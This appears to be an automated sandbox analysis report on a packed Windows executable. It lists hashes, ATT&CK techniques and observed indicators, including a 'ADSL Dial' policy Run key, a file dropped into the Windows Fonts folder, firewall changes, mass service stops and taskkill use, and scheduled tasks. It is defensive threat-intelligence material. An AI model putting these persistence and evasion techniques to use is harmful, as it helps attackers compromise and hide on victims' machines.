cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/07/2026, 07:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
Size 1.2MB
Sample260702-hty2radv7s
SHA256 cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c
MD5 77d1d3c39a19dd4dff93290b5ef6ee3b
SHA1 43cc82ce7a6185f5dbf903e5deaa49a96791f473
SHA512 0695f4a6ad055686813a8e496d1d391c5c101eed54c0e1574b6911632ec351277572a6368ef31fe4ddecf2cf8a6a2847385cb80f30e45595e429efa8407686e6
SSDEEP 24576:T+x+nfZW2IFJ3fiRUJmBTEGwtXVT7xk8nBxaHO5jUoBlD9:T+yZW2IFJ8yRvk8ik
TLSH
T119556C23E18184B1D11862F122F70B34ED78CB725D718A83E7D8EE756E62A71C76B14E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ADSL Dial = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe"	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe

Modifies Windows Firewall 2 TTPs 9 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1776	netsh.exe
3972	netsh.exe
5660	netsh.exe
3156	netsh.exe
6172	netsh.exe
2784	netsh.exe
1036	netsh.exe
6828	netsh.exe
1000	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
3228	SQLAGENTSWE.exe
1764	SQLAGENTSWE.exe
2544	SQLAGENTSWE.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 10 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3416-2-0x00000000007B0000-0x00000000007BB000-memory.dmp	upx
behavioral2/memory/3416-1-0x00000000007B0000-0x00000000007BB000-memory.dmp	upx
behavioral2/memory/3228-40-0x0000000000BA0000-0x0000000000BAB000-memory.dmp	upx
behavioral2/memory/1764-43-0x00000000023D0000-0x00000000023DB000-memory.dmp	upx
behavioral2/memory/2544-46-0x00000000023E0000-0x00000000023EB000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Fonts\SQLAGENTSWE.exe	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe

Launches sc.exe 30 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1936	sc.exe
1712	sc.exe
1248	sc.exe
1608	sc.exe
4172	sc.exe
5840	sc.exe
6236	sc.exe
5948	sc.exe
5528	sc.exe
6104	sc.exe
5408	sc.exe
4748	sc.exe
560	sc.exe
1548	sc.exe
2588	sc.exe
2084	sc.exe
3760	sc.exe
6496	sc.exe
5280	sc.exe
5624	sc.exe
5876	sc.exe
3492	sc.exe
1072	sc.exe
676	sc.exe
888	sc.exe
5040	sc.exe
4140	sc.exe
2128	sc.exe
5796	sc.exe
4788	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SQLAGENTSWE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1708	PING.EXE

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
3944	taskkill.exe
4172	taskkill.exe
5560	taskkill.exe
7004	taskkill.exe
2712	taskkill.exe
7036	taskkill.exe
2020	taskkill.exe
2592	taskkill.exe
1252	taskkill.exe
2376	taskkill.exe
5380	taskkill.exe
2820	taskkill.exe
1656	taskkill.exe
1076	taskkill.exe
3576	taskkill.exe
5356	taskkill.exe
5744	taskkill.exe
5536	taskkill.exe
1944	taskkill.exe
5240	taskkill.exe
52	taskkill.exe
2484	taskkill.exe
6008	taskkill.exe
1328	taskkill.exe
248	taskkill.exe
2668	taskkill.exe
6252	taskkill.exe
6504	taskkill.exe
1204	taskkill.exe
6856	taskkill.exe
248	taskkill.exe
1924	taskkill.exe
4796	taskkill.exe
2960	taskkill.exe
6428	taskkill.exe
4584	taskkill.exe
3896	taskkill.exe
1832	taskkill.exe
1064	taskkill.exe
4304	taskkill.exe
7028	taskkill.exe
2544	taskkill.exe
2852	taskkill.exe
3188	taskkill.exe
2468	taskkill.exe
4432	taskkill.exe
1280	taskkill.exe
908	taskkill.exe
5004	taskkill.exe
4284	taskkill.exe
3912	taskkill.exe
2388	taskkill.exe
6952	taskkill.exe
988	taskkill.exe
6832	taskkill.exe
4540	taskkill.exe
3896	taskkill.exe
6280	taskkill.exe
5124	taskkill.exe
3820	taskkill.exe
2784	taskkill.exe
5416	taskkill.exe
7012	taskkill.exe
1320	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2900715619-172032027-1873877232-1000_Classes\Local Settings	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
1100	reg.exe
7156	reg.exe
5912	reg.exe
2720	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1708	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 14 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1072	schtasks.exe
3916	schtasks.exe
5116	schtasks.exe
3392	schtasks.exe
4080	schtasks.exe
6140	schtasks.exe
5584	schtasks.exe
6736	schtasks.exe
3128	schtasks.exe
2148	schtasks.exe
5044	schtasks.exe
4616	schtasks.exe
460	schtasks.exe
6340	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6252	taskkill.exe
Token: SeDebugPrivilege	3896	taskkill.exe
Token: SeDebugPrivilege	3088	taskkill.exe
Token: SeDebugPrivilege	6732	taskkill.exe
Token: SeDebugPrivilege	6264	taskkill.exe
Token: SeDebugPrivilege	4684	taskkill.exe
Token: SeDebugPrivilege	5356	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	2468	taskkill.exe
Token: SeDebugPrivilege	248	taskkill.exe
Token: SeDebugPrivilege	260	taskkill.exe
Token: SeDebugPrivilege	6168	taskkill.exe
Token: SeDebugPrivilege	1064	taskkill.exe
Token: SeDebugPrivilege	6280	taskkill.exe
Token: SeDebugPrivilege	6736	taskkill.exe
Token: SeDebugPrivilege	5124	taskkill.exe
Token: SeDebugPrivilege	1924	taskkill.exe
Token: SeDebugPrivilege	6928	taskkill.exe
Token: SeDebugPrivilege	5240	taskkill.exe
Token: SeDebugPrivilege	6796	taskkill.exe
Token: SeDebugPrivilege	2020	taskkill.exe
Token: SeDebugPrivilege	5744	taskkill.exe
Token: SeDebugPrivilege	52	taskkill.exe
Token: SeDebugPrivilege	4432	taskkill.exe
Token: SeDebugPrivilege	6156	taskkill.exe
Token: SeDebugPrivilege	3880	taskkill.exe
Token: SeDebugPrivilege	3576	taskkill.exe
Token: SeDebugPrivilege	2484	taskkill.exe
Token: SeDebugPrivilege	3820	taskkill.exe
